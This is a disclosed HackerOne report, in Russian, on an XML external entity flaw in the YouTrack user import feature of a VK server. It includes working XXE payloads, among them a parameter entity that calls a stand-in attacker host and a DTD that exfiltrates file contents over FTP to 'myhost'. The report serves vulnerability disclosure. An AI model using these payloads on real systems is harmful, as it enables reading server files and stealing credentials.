Внедрение внешних сущностей в функционале импорта пользователей YouTrack

Disclosed: 2016-03-18 13:13:48 By bo0om To vkcom
Unknown
Vulnerability Details
Уязвимость существует из-за возможности использования внешних сущностей XML разметки в функционале импорта пользователей YouTrack. Веб-приложение доступно по адресу youtrack.vk-cdn.net Исходя из документации (https://confluence.jetbrains.com/display/YTD6/Import+Users) поддерживает импорт данных методом PUT в формате XML. Стандарт XML-документа поддерживает включение секции DTD, а секции DTD, в свою очередь могут подключать к документу дополнительные компоненты, так называемые внешние сущности. Внешние сущности являются отдельными файлами и задаются с помощью ключевого слова SYSTEM и URI. Если XML-парсер невалидирующий, он может просто загрузить внешнюю сущность и подключить к содержимому XML-документа. Злоумышленник может подставить в URI внешней сущности file URI, указывающий на аппаратное устройство ЭВМ, или на локальный файл в системе. Сервер попытается прочитать файл по указанному URI и включить его содержимое в XML. Минимальный запрос будет выглядить следующим образом: ``` <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <list> <user login="lenin" fullName="Ulyanov Vladimir Ilyich" email="[email protected]"/> </list> ``` Но для добавления пользователя необходимо иметь учетную запись и быть администратором системы. Однако, внедрив внешнюю сущность, XML-данные пройдут валидацию, и запрос будет выполнен, несмотря на предупреждение об отсутствии аутентификации. Пример XML-запроса представлен ниже: ``` <?xml version="1.0"?> <!DOCTYPE list [ <!ENTITY % xxe SYSTEM "http://myserver/xxe-test"> %xxe; ]> <list></list> ``` В этом случае, сервер получит GET-запрос ``` GET /xxe-test HTTP/1.1 HOST: myserver USER_AGENT: Java/1.8.0_45 ACCEPT: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 CONNECTION: keep-alive ``` Источник запроса: ``` IP: 87.240.169.26 HOSTNAME: srv26-169-240-87.vk.com ``` что свидетельствует уязвимости. Внедрив вместо `http://myserver/xxe-test` собственную секцию DTD, с подобным содержимым ``` <!ENTITY % c "<!ENTITY &#37; rrr SYSTEM 'ftp://myhost:1935/%b;'>">%c; ``` мы получим возможность отправлять содержимое файлов с помощью протокола FTP (исследование компании OnSec http://lab.onsec.ru/2014/06/xxe-oob-exploitation-at-java-17.html) Так как веб-приложение работает на языке Java (о чем говорит заголовок user-agent), мы так же можем получать содержимое директорий из-за особенностей работы Java. При использовании такого механизма возможны такие виды атак, как например, как отказ в обслуживании (DoS) как сам сервер, так и другие системы, чтение произвольных файлов, сканирование TCP-портов (даже в обход фаервола), кража материалов NTLM-аутентификации, инициированная через UNC-обращение к системе, находящейся под контролем злоумышленника и т.п. Эксплуатация в целях демонстрации доступна по следующей ссылке: https://youtu.be/0gMTwPU-BQc Данная уязвимость имеет статус 0day, разработчики продукта YouTrack (компания Jetbrains) получит соответствующие уведомления.
Actions
View on HackerOne
Report Stats
  • Report ID: 114476
  • State: Closed
  • Substate: resolved
  • Upvotes: 10
Share this report